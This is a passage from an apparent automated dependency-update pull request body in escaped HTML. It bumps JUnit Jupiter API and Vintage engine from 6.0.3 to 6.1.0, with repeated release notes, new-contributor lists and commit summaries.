href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.jupiter:junit-jupiter-api` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.jupiter:junit-jupiter-api's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.0...r6.1.0-M1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0dc3af1cb1973d257b5bc75d81e02454d5e4e556\"\u003e\u003ccode\u003e0dc3af1\u003c/code\u003e\u003c/a\u003e Release 6.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/1d130020c85170edcb46ce7ed1f7f78824e37c04\"\u003e\u003ccode\u003e1d13002\u003c/code\u003e\u003c/a\u003e Prepare 6.1.0 release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/072b2175bbd7b0b3b26f5d928550ec7a21e68268\"\u003e\u003ccode\u003e072b217\u003c/code\u003e\u003c/a\u003e Update plugin spotless to v8.5.0 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5668\"\u003e#5668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/3a53480218f4b752a9ca77506e10632cd483c0f8\"\u003e\u003ccode\u003e3a53480\u003c/code\u003e\u003c/a\u003e Update Gradle to v9.5.1 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5666\"\u003e#5666\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0e18a20a9f98d063ae02b3ba19329143f5c7f034\"\u003e\u003ccode\u003e0e18a20\u003c/code\u003e\u003c/a\u003e Update zizmorcore/zizmor-action action to v0.5.4 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5669\"\u003e#5669\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/0a2634fb9cbbd057b02cf629d7d272c16d62be4b\"\u003e\u003ccode\u003e0a2634f\u003c/code\u003e\u003c/a\u003e Update github/codeql-action action to v4.35.5 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5671\"\u003e#5671\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/4dbd5561b00ac761a62c516bfaec51c212a2d60c\"\u003e\u003ccode\u003e4dbd556\u003c/code\u003e\u003c/a\u003e Restructure workflows to have single \u0026quot;status\u0026quot; job (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5670\"\u003e#5670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/f2194cebe377512cb0ade388c62a881a0bcf5d3e\"\u003e\u003ccode\u003ef2194ce\u003c/code\u003e\u003c/a\u003e Increase timeout to reduce flakiness\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/5c8fdd2df65b763151cccbe669ea9e1c3155efcd\"\u003e\u003ccode\u003e5c8fdd2\u003c/code\u003e\u003c/a\u003e Update dependency org.apache.groovy:groovy to v5.0.6 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5659\"\u003e#5659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/junit-team/junit-framework/commit/43c6982324602582902c9bdb213fd5e007f9cf3d\"\u003e\u003ccode\u003e43c6982\u003c/code\u003e\u003c/a\u003e Update dependency org.slf4j:slf4j-jdk14 to v2.0.18 (\u003ca href=\"https://redirect.github.com/junit-team/junit-framework/issues/5667\"\u003e#5667\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.junit.vintage:junit-vintage-engine` from 6.0.3 to 6.1.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/junit-team/junit-framework/releases\"\u003eorg.junit.vintage:junit-vintage-engine's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eJUnit 6.1.0 = Platform 6.1.0 + Jupiter 6.1.0 + Vintage 6.1.0\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0/release-notes.html\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JarvisCraft\"\u003e\u003ccode\u003e@​JarvisCraft\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5633\"\u003ejunit-team/junit-framework#5633\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Maran23\"\u003e\u003ccode\u003e@​Maran23\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5644\"\u003ejunit-team/junit-framework#5644\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.0.3...r6.1.0\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-RC1 = Platform 6.1.0-RC1 + Jupiter 6.1.0-RC1 + Vintage 6.1.0-RC1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-RC1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mariokhoury4\"\u003e\u003ccode\u003e@​mariokhoury4\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/4574\"\u003ejunit-team/junit-framework#4574\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Ogu1208\"\u003e\u003ccode\u003e@​Ogu1208\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5145\"\u003ejunit-team/junit-framework#5145\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/HyungGeun94\"\u003e\u003ccode\u003e@​HyungGeun94\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5271\"\u003ejunit-team/junit-framework#5271\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yalishevant\"\u003e\u003ccode\u003e@​yalishevant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5316\"\u003ejunit-team/junit-framework#5316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JINU-CHANG\"\u003e\u003ccode\u003e@​JINU-CHANG\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5290\"\u003ejunit-team/junit-framework#5290\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jaschdoc\"\u003e\u003ccode\u003e@​jaschdoc\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5427\"\u003ejunit-team/junit-framework#5427\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/kawshikbuet17\"\u003e\u003ccode\u003e@​kawshikbuet17\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5561\"\u003ejunit-team/junit-framework#5561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/msridhar\"\u003e\u003ccode\u003e@​msridhar\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5602\"\u003ejunit-team/junit-framework#5602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\"\u003ehttps://github.com/junit-team/junit-framework/compare/r6.1.0-M1...r6.1.0-RC1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eJUnit 6.1.0-M1 = Platform 6.1.0-M1 + Jupiter 6.1.0-M1 + Vintage 6.1.0-M1\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://docs.junit.org/6.1.0-M1/release-notes/\"\u003eRelease Notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vy\"\u003e\u003ccode\u003e@​vy\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5041\"\u003ejunit-team/junit-framework#5041\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Pankraz76\"\u003e\u003ccode\u003e@​Pankraz76\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5006\"\u003ejunit-team/junit-framework#5006\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/arukiidou\"\u003e\u003ccode\u003e@​arukiidou\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5066\"\u003ejunit-team/junit-framework#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laeubi\"\u003e\u003ccode\u003e@​laeubi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5092\"\u003ejunit-team/junit-framework#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jihun4452\"\u003e\u003ccode\u003e@​jihun4452\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5088\"\u003ejunit-team/junit-framework#5088\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TWiStErRob\"\u003e\u003ccode\u003e@​TWiStErRob\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/junit-team/junit-framework/pull/5133\"\u003ejunit-team/junit-framework#5133\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca 